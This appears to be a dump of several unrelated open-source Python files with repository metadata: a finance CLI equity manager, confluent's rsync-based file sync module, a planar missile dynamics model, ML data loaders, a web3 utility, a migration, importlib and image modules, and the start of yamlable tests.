import balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name = self.uns.request_string("Name: ") description = self.uns.request_string("Description: ") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f"Unknown equity class: {equityClass.name}") interestRate = self.uns.request_float("Interest Rate: ") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not None: self.uns.notify_user("Equity entered successfully!") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int("Year: ") month = self.uns.request_int("Month: ") value = self.uns.request_float("Value: ") account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None: raise Exception(f"Equity: {accountName} [{account.id}], {equityName} not found.") value = dsvce.record_value_on_equity(equity, year, month, value) if value is not None: self.uns.notify_user("Value Recorded successfully!") def print_value_snapshots(self, accountName=None): if accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities is None or len(equities) == 0: self.uns.notify_user(f"No Equities in account [{accountName}]") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title="Equities Snapshots") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities("").to_json(), title="Equities") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int("Number of past months: ") account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f"\n---------Balance Sheet---------") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int("Number of past months: ") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None: self.uns.notify_user("No Data to show...")

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507

4,660

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0.074264

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0.077922

0

null

0

null

0

1

0

8655870bbe029c575ef810e01964410eb82d6a13

10,603

py

Python

confluent_server/confluent/syncfiles.py

xcat2/confluent

47a83f4628df48638c2aebbfbcddc1531aac20d0

[ "Apache-2.0" ]

27

2015-02-11T13:56:46.000Z

2021-12-28T14:17:20.000Z

confluent_server/confluent/syncfiles.py

jjohnson42/confluent

47a83f4628df48638c2aebbfbcddc1531aac20d0

[ "Apache-2.0" ]

32

2015-09-23T13:19:04.000Z

2022-03-15T13:50:45.000Z

confluent_server/confluent/syncfiles.py

xcat2/confluent

47a83f4628df48638c2aebbfbcddc1531aac20d0

[ "Apache-2.0" ]

24

2015-07-14T20:41:55.000Z

2021-07-15T04:18:51.000Z

# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import glob import os import shutil import tempfile import confluent.sshutil as sshutil import confluent.util as util import confluent.noderange as noderange import eventlet import pwd import grp def mkdirp(path): try: os.makedirs(path) except OSError as e: if e.errno != 17: raise def get_entries(filename): secname = 'REPLACE:' filename = filename.strip() if filename[-1] == '>': filename = filename[:-1] with open(filename, 'r') as slfile: slist = slfile.read() entries = slist.split('\n') for ent in entries: ent = ent.split('#', 1)[0].strip() if not ent: continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if ent[0] == '<': subfilename = ent[1:] if subfilename[-1] == '>': subfilename = subfilename[:-1] if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield subent yield secname else: yield ent class SyncList(object): def __init__(self, filename, nodename, cfg): slist = None self.replacemap = {} self.appendmap = {} self.appendoncemap = {} self.mergemap = {} self.optmap = {} entries = get_entries(filename) currmap = self.replacemap for ent in entries: try: cmtidx = ent.index('#') ent = ent[:cmtidx] except ValueError: pass for special in '$%^&|{}': if special in ent: raise Exception( 'Special character "{}" reserved for future use'.format(special)) ent = ent.strip() if not ent: continue if ent[-1] == ':': if ent == 'MERGE:': currmap = self.mergemap elif ent == 'APPENDONCE:': currmap = self.appendoncemap elif ent == 'REPLACE:': currmap = self.replacemap else: raise Exception( 'Section "{}" is not currently supported in syncfiles'.format(ent[:-1])) continue if '->' in ent: k, v = ent.split('->') k = k.strip() v = v.strip() if ':' in v: nr, v = v.split(':', 1) for candidate in noderange.NodeRange(nr, cfg).nodes: if candidate == nodename: break else: continue optparts = v.split() v = optparts[0] optparts = optparts[1:] else: kparts = [] optparts = [] currparts = kparts for part in ent.split(): if part[0] == '(': currparts = optparts currparts.append(part) k = ' '.join(kparts) v = None entopts = {} if optparts: if optparts[0][0] != '(' or optparts[-1][-1] != ')': raise Exception("Unsupported syntax in syncfile: " + ent) opts = ','.join(optparts) opts = opts[1:-1] for opt in opts.split(','): optname, optval = opt.split('=') if optname == 'owner': try: uid = pwd.getpwnam(optval).pw_uid except KeyError: uid = None optval = {'name': optval, 'id': uid} elif optname == 'group': try: gid = grp.getgrnam(optval).gr_gid except KeyError: gid = None optval = {'name': optval, 'id': gid} entopts[optname] = optval currmap[k] = v targ = v if v else k for f in targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append' in suffixes: while suffixes['append'] and suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes: while suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except Exception as e: if 'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some reason, can't catch the calledprocesserror normally # for this exception, implement a hack workaround raise unreadablefiles = [] for root, dirnames, filenames in os.walk(targdir): for filename in filenames: filename = os.path.join(root, filename) try: with open(filename, 'r') as _: pass except OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception("Syncing failed due to unreadable files: " + ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if not isinstance(output, str): output = output.decode('utf8') retval = { 'options': sl.optmap, 'output': output, } return retval # need dictionary with output and options def stage_ent(currmap, ent, targdir, appendexist=False): dst = currmap[ent] everyfent = [] allfents = ent.split() for tmpent in allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise Exception('No matching files for "{}"'.format(ent)) if dst is None: # this is to indicate source and destination as one dst = os.path.dirname(everyfent[0]) + '/' while dst and dst[0] == '/': dst = dst[1:] if len(everyfent) > 1 and dst[-1] != '/': raise Exception( 'Multiple files match {}, {} needs a trailing slash to indicate a directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst) for targ in everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source): currsrc = os.path.join(source, ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if destination[-1] == '/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w') as realdest: with open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners = {} def start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.profile', {}).get('value', '') if not profile: raise Exception('Cannot perform syncfiles without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200 OK' # not running sl = SyncList(synclist, nodename, cfg) if not (sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap): return '200 OK' # the synclist has no actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return '202 Queued' # backgrounded def get_syncresult(nodename): if nodename not in syncrunners: return ('204 Not Running', '') if not syncrunners[nodename].dead: return ('200 OK', '') result = syncrunners[nodename].wait() del syncrunners[nodename] return ('200 OK', result)

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10,603

5.094804

0.273473

0.017177

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0.072106

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0.357918

10,603

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0.810811

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0.012283

0

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false

0.007937

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0

0.103175

0

null

0

null

0

1

0

86559f8329a6ab4177af7e36ab701bd44241c349

1,804

py

Python

fym/models/missile.py

JungYT/fym

d519c50086e3c7793b960e0326c92ed407836790

[ "MIT" ]

14

2019-08-23T10:02:39.000Z

2021-12-24T13:04:43.000Z

fym/models/missile.py

JungYT/fym

d519c50086e3c7793b960e0326c92ed407836790

[ "MIT" ]

110

2019-08-23T08:09:32.000Z

2021-06-29T06:54:48.000Z

fym/models/missile.py

JungYT/fym

d519c50086e3c7793b960e0326c92ed407836790

[ "MIT" ]

10

2019-09-02T03:49:06.000Z

2021-05-10T04:35:40.000Z

import numpy as np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288 g = 9.80665 S = 1 t1 = 1.5 t2 = 8.5 name = 'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self, states, controls): return 0 # return {"wind" : [(0, 0), (0, 0)]} # no external effects def deriv(self, state, t, control, external): # state and (control) input x, y, V, gamma, = state.ravel() a = control # temperature if y <= 11000: Tmp = 288.16 - 0.0065*y else: Tmp = 216.66 # Mach number M = V/(1.4*self.R*Tmp)**0.5 # Mass and thrust (Note: guidance loop is closed after t=t1) if t < self.t1: m = 135 - 14.53*t T = 33000 elif t < self.t2: m = 113.205 - 3.331*t T = 7500 else: m = 90.035 T = 0 # density and dynamic pressure rho = (1.15579 - 1.058*1e-4*y + 3.725*1e-9*y**2 - 6.0*1e-14*y**3) # y in [0, 20000] Q = 0.5*rho*V**2 # Drag model if M < 0.93: Cd0 = 0.02 elif M < 1.03: Cd0 = 0.02 + 0.2*(M - 0.93) elif M < 1.10: Cd0 = 0.04 + 0.06*(M - 1.03) else: Cd0 = 0.0442 - 0.007*(M - 1.10) if M < 1.15: K = 0.2 else: K = 0.2 + 0.246*(M - 1.15) D0 = Cd0*Q*self.S Di = K*m**2*a**2/(Q*self.S) D = D0 + Di dxdt = V*np.cos(gamma) dydt = V*np.sin(gamma) dVdt = (T - D)/m - self.g*np.sin(gamma) dgammadt = (a - self.g*np.cos(gamma))/V return np.vstack([dxdt, dydt, dVdt, dgammadt])

25.408451

68

0.444568

279

1,804

2.83871

0.422939

0.015152

0.007576

0

0.167608

0.411308

1,804

70

69

25.771429

0.578154

0.121951

0

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0

1

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false

0

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0.018868

0.264151

0

null

0

null

0

1

0

8655ba3bbd3cf852e91a43d33c2f2f32d558bc09

2,175

py

Python

egg/zoo/addition/data.py

chengemily/EGG

40e84228e9d6e9ae785c0e4a846bb7e12e2b9291

[ "MIT" ]

1

2022-03-01T18:57:48.000Z

egg/zoo/addition/data.py

chengemily/EGG

40e84228e9d6e9ae785c0e4a846bb7e12e2b9291

[ "MIT" ]

null

egg/zoo/addition/data.py

chengemily/EGG

40e84228e9d6e9ae785c0e4a846bb7e12e2b9291

[ "MIT" ]

null

# Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Iterable, Optional, Tuple import torch from torch.utils.data import DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self, k): k = k % len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: "Returning an iterator for tuple(sender_input, labels, receiver_input)." full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \ DataLoader(validation_set, batch_size=len(validation_set)), \ DataLoader(holdout_set, batch_size=opts.batch_size) return train_loader, validation_loader, holdout_loader def enumerate_dataset(input_size): data = [] labels = [] for i in range(input_size): for j in range(input_size): inp = torch.zeros(2 * input_size) inp[i] = 1.0 inp[input_size + j] = 1.0 label = torch.zeros(2 * input_size - 1) label[i + j] = 1.0 data.append(inp) labels.append(label) data_tuples = [(data[i], labels[i]) for i in range(len(data))] return data_tuples

32.462687

120

0.624368

269

2,175

4.821561

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0.048574

0.027756

0.038551

0.214341

0.1835

0.083269

0

0.006423

0.284138

2,175

66

121

32.954545

0.82659

0.110345

0

0.046512

0

0.035

0

1

0.116279

false

0

0.069767

0.023256

0.302326

0

null

0

null

0

1

0

8657acef2a48725b54eda761add6bd9a28ac1231

3,379

py

Python

simulation-web3py/utility.py

miker83z/cloud-chain

0f5c43159544da547173ee0425e78bede261513b

[ "MIT" ]

null

simulation-web3py/utility.py

miker83z/cloud-chain

0f5c43159544da547173ee0425e78bede261513b

[ "MIT" ]

null

simulation-web3py/utility.py

miker83z/cloud-chain

0f5c43159544da547173ee0425e78bede261513b

[ "MIT" ]

1

2022-01-27T14:18:24.000Z

import json import os from argparse import ArgumentTypeError from eth_typing import Address from web3.contract import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool: statuses = [True] try: if status_init: for c in contracts: # Use different cloud_addresses for each contract instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read' or fn == 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await c.read()) if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn == 'delete': for _ in range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else: for c in contracts: if fn == 'delete': if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) + 1: for _ in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload()) except ValueError as v: print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses) def get_credentials(blockchain: str) -> tuple: if blockchain == 'polygon': from settings import ( polygon_private_keys ) return polygon_private_keys from settings import ( quorum_private_keys ) return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str) -> Contract: def get_abi(path: str) -> list: with open(path) as file: contract_json = json.load(file) contract_abi = contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: []) -> bool: for idx in range(len(statuses)): if statuses[idx] == 0: return False return True def exists_mkdir(paths: []): for path in paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool = True): if msg: print('Retrieve config file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file: contracts_summary = json.loads(file.read()) if msg: print(f'Config file retrieved at {filepath}.') return contracts_summary def range_limited_val(arg: str) -> int: """ Type function for argparse - int within some predefined bounds. """ try: s = int(arg) except ValueError: raise ArgumentTypeError("must be a int number") if s < MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}") return s

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false

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0

null

0

null

0

1

0

8657d90fe7092bbdb91cfe26101bae5ad4366000

808

py

Python

migrations/versions/816ea3631582_add_topics.py

OpenASL/HowSignBot

bd9c5bc0edfd6fb50bdce7c7c1d84462e1e704c2

[ "MIT" ]

9

2021-01-12T07:28:30.000Z

2021-12-30T09:27:04.000Z

migrations/versions/816ea3631582_add_topics.py

OpenASL/HowSignBot

bd9c5bc0edfd6fb50bdce7c7c1d84462e1e704c2

[ "MIT" ]

16

2021-03-28T16:31:42.000Z

2022-03-21T00:18:30.000Z

migrations/versions/816ea3631582_add_topics.py

OpenASL/HowSignBot

bd9c5bc0edfd6fb50bdce7c7c1d84462e1e704c2

[ "MIT" ]

1

2021-07-18T20:49:19.000Z

"""add topics Revision ID: 816ea3631582 Revises: 37a124b0099b Create Date: 2021-03-13 14:20:10.044131 """ from alembic import op import sqlalchemy as sa import bot # revision identifiers, used by Alembic. revision = "816ea3631582" down_revision = "37a124b0099b" branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table( "topics", sa.Column("content", sa.Text(), nullable=False), sa.Column("last_synced_at", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint("content"), ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table("topics") # ### end Alembic commands ###

23.085714

90

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86582bc3a8c357318983a8612ae2ca233e2c4562

3,137

py

Python

src/Lib/importlib/__init__.py

NUS-ALSET/ace-react-redux-brython

d009490263c5716a145d9691cd59bfcd5aff837a

[ "MIT" ]

1

2021-08-05T12:45:39.000Z

src/Lib/importlib/__init__.py

NUS-ALSET/ace-react-redux-brython

d009490263c5716a145d9691cd59bfcd5aff837a

[ "MIT" ]

null

src/Lib/importlib/__init__.py

NUS-ALSET/ace-react-redux-brython

d009490263c5716a145d9691cd59bfcd5aff837a

[ "MIT" ]

1

2019-09-05T08:20:07.000Z

"""A pure Python implementation of import.""" __all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### # Until bootstrapping is complete, DO NOT import any modules that attempt # to import importlib._bootstrap (directly or indirectly). Since this # partially initialised package would be present in sys.modules, those # modules would get an uninitialised copy of the source version, instead # of a fully initialised version (either the frozen one or the one # initialised below if the frozen one is not available). import _imp # Just the builtin component, NOT the full Python module import sys from . import machinery from . import _bootstrap _bootstrap._setup(sys, _imp) # To simplify imports in test code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long # Fully bootstrapped at this point, import whatever you like, circular # dependencies and startup overhead minimisation permitting :) # Public API ######################################################### from ._bootstrap import __import__ def invalidate_caches(): """Call the invalidate_caches() method on all meta path finders stored in sys.meta_path (where implemented).""" for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): """Find the loader for the specified module. First, sys.modules is checked to see if the module was already imported. If so, then sys.modules[name].__loader__ is returned. If that happens to be set to None, then ValueError is raised. If the module is not in sys.modules, then sys.meta_path is searched for a suitable loader with the value of 'path' given to the finders. None is returned if no loader could be found. Dotted names do not have their parent packages implicitly imported. You will most likely need to explicitly import all parent packages in the proper order for a submodule to get the correct loader. """ try: loader = sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__ is None'.format(name)) else: return loader except KeyError: pass return _bootstrap._find_module(name, path) def import_module(name, package=None): """Import a module. The 'package' argument is required when performing a relative import. It specifies the package to use as the anchor point from which to resolve the relative import to an absolute import. """ level = 0 if name.startswith('.'): if not package: raise TypeError("relative imports require the 'package' argument") for character in name: if character != '.': break level += 1 return _bootstrap._gcd_import(name[level:], package, level) #need at least one import hook for importlib stuff to work. from . import basehook sys.meta_path.append(basehook.BaseHook())

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null

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86589b5f56644ed9997dc3b47f7f98c31f2ddd04

8,848

py

Python

lib/arlunio/arlunio/image.py

swyddfa/stylo

4d6b348ce5812dc5c2554bfd21a1550375aa05e1

[ "MIT" ]

null

lib/arlunio/arlunio/image.py

swyddfa/stylo

4d6b348ce5812dc5c2554bfd21a1550375aa05e1

[ "MIT" ]

13

2019-06-02T21:26:52.000Z

2019-08-04T15:54:41.000Z

lib/arlunio/arlunio/image.py

swyddfa/stylo

4d6b348ce5812dc5c2554bfd21a1550375aa05e1

[ "MIT" ]

1

2019-07-08T17:00:56.000Z

from __future__ import annotations import base64 import io import logging import pathlib from typing import Optional # TODO: Remove these, as they should be contained in the numpy backend. import numpy as np import PIL.Image as PImage import arlunio.ast as ast import arlunio.color as color import arlunio.mask as mask import arlunio.math as math logger = logging.getLogger(__name__) class Image: """Our representation of an image, implemented as a wrapper around a standard Pillow image.""" def __init__(self, img: PImage.Image): self.img = img """The wrapped pillow image object.""" def __eq__(self, other): if not isinstance(other, Image): return False a = np.asarray(self.img) b = np.asarray(other.img) return (a == b).all() def __add__(self, other): if isinstance(other, Image): other = other.img if not isinstance(other, PImage.Image): raise TypeError("Addition is only supported between images.") img = self.copy() img.alpha_composite(other) return img @property def __array_interface__(self): # Ensure that our version of an image also plays nice with numpy. return self.img.__array_interface__ def _repr_png_(self): # Give nice previews in jupyter notebooks return self.img._repr_png_() @property def size(self): return self.img.size def alpha_composite(self, im, *args, **kwargs): """Composites an image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` """ if isinstance(im, Image): im = im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self): """Return a copy of the image. See :meth:`pillow:PIL.Image.Image.copy` """ return Image(self.img.copy()) def paste(self, *args, **kwargs): """Paste another image into this image. See :meth:`pillow:PIL.Image.Image.paste` """ self.img.paste(*args, **kwargs) def save(self, *args, **kwargs): """Save the image with the given filename. See :meth:`pillow:PIL.Image.Image.save` """ self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs): """Convert this image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` """ self.img.thumbnail(*args, **kwargs) def new(color) -> Image: """Creates a new image with the given background color.""" return ast.Node.builtin(name="image", color=color) def fromarray(*args, **kwargs): """Create an image from an array See :func:`pillow:PIL.Image.fromarray` """ return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) -> Image: """Load an image from the given file. See :func:`pillow:PIL.Image.open` """ return Image(PImage.open(*args, **kwargs)) def save(image: Image, filename: str, mkdirs: bool = False) -> None: """Save an image in PNG format. :param filename: The filepath to save the image to. :param mkdirs: If true, make any parent directories """ path = pathlib.Path(filename) if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename, "wb") as f: image.save(f) def encode(image: Image) -> bytes: """Return the image encoded as a base64 string. Parameters ---------- image: The image to encode. Example ------- :: >>> import arlunio.image as image >>> img = image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' """ with io.BytesIO() as byte_stream: image.save(byte_stream, "PNG") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image: """Decode the image represented by the given bytestring into an image object. Parameters ---------- bytestring: The bytestring to decode. Example ------- .. arlunio-image:: Decode Example :include-code: :: import arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img = image.decode(bytestring) """ data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start: Optional[str] = None, stop: Optional[str] = None) -> Image: """Given a 2d array of values, produce an image gradient based on them. .. arlunio-image:: Colorramp Demo :align: right :: import arlunio.image as image import arlunio.math as math import numpy as np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x, y = p[:, :, 0], p[:, :, 1] values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img = image.colorramp(values) First this function will scale the input array so that all values fall in the range :math:`[0, 1]`. It will then produce an image with the same dimensions as the original array. The color of each pixel will be chosen based on the corresponding value of the scaled array. - If the value is :math:`0` the color will be given by the :code:`start` parameter - If the value is :math:`1` the color will be given by the :code:`stop` parameter - Otherwise the color will be some mix between the two. Parameters ---------- values: The array of values used to decide on the color. start: The color to use for values near :math:`0` (default, :code:`black`) stop: The color to use for values near :math:`1` (default, :code:`white`) Examples -------- .. arlunio-image:: Colorramp Demo 2 :include-code: :: import arlunio.image as image import arlunio.math as math import numpy as np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x = image.colorramp(p[:, :, 0], start="#0000", stop="#f007") y = image.colorramp(p[:, :, 1], start="#0000", stop="#00f7") img = x + y """ # Scale all the values so that they fall into the range [0, 1] minx = np.min(values) vs = np.array(values) - minx vs = vs / np.max(vs) if start is None: start = "black" if stop is None: stop = "white" start = color.getcolor(start, "RGBA") stop = color.getcolor(stop, "RGBA") funcs = [math.lerp(a, b) for a, b in zip(start, stop)] channels = [np.floor(func(vs)) for func in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill( region, foreground: Optional[str] = None, background: Optional[str] = None, image: Optional[Image] = None, ) -> Image: """Apply color to an image, as specified by a mask. Parameters ---------- mask: The mask that selects the region to be coloured foreground: A string representation of the color to use, this can be in any format that is supported by the :mod:`pillow:PIL.ImageColor` module. If omitted this will default to black. background: In the case where an existing image is not provided this parameter can be used to set the background color of the generated image. This can be any string that is accepted by the :mod:`pillow:PIL.ImageColor` module. If omitted this will default to transparent image: The image to color in, if omitted a blank image will be used. Example -------- .. arlunio-image:: Fill Demo :include-code: :: import arlunio.image as image import arlunio.shape as shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 = 0, 0 img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue', image=img) """ foreground = "#000" if foreground is None else foreground fill_color = color.getcolor(foreground, "RGBA") if image is None: background = "#0000" if background is None else background image = new(color=background) if not isinstance(region, ast.Node): region = region() return ast.Node.fill(image, region, fill_color)

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null

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865a20fd18fa17925d3611f9138e1d796448c4ce

9,001

py

Python

yamlable/tests/test_yamlable.py

smarie/python-yamlable

c726f5c56eea037968560ce83f9753bde1514991

[ "BSD-3-Clause" ]

27

2018-07-12T17:09:41.000Z

2022-02-07T18:56:26.000Z

yamlable/tests/test_yamlable.py

smarie/python-yamlable

c726f5c56eea037968560ce83f9753bde1514991

[ "BSD-3-Clause" ]

14

2018-07-10T08:09:21.000Z

2022-03-02T15:29:56.000Z

yamlable/tests/test_yamlable.py

smarie/python-yamlable

c726f5c56eea037968560ce83f9753bde1514991

[ "BSD-3-Clause" ]

1

2020-09-22T16:13:51.000Z

from copy import copy try: # Python 2 only: from StringIO import StringIO # create a variant that can serve as a context manager class StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type, exception_value, traceback): self.close() except ImportError: from io import StringIO try: # python 3.5+ from typing import Dict, Any from yamlable import Y except ImportError: pass import pytest from yaml import dump, load from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): """ Tests that if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot be declared """ with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y return Foo(**dct) # instantiate f = Foo() # dump f.dumps_yaml() assert "does not seem to have a non-None '__yaml_tag_suffix__' field" in str(err_info.value) def test_yamlable(): """ Tests that YamlAble works correctly """ @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...) -> 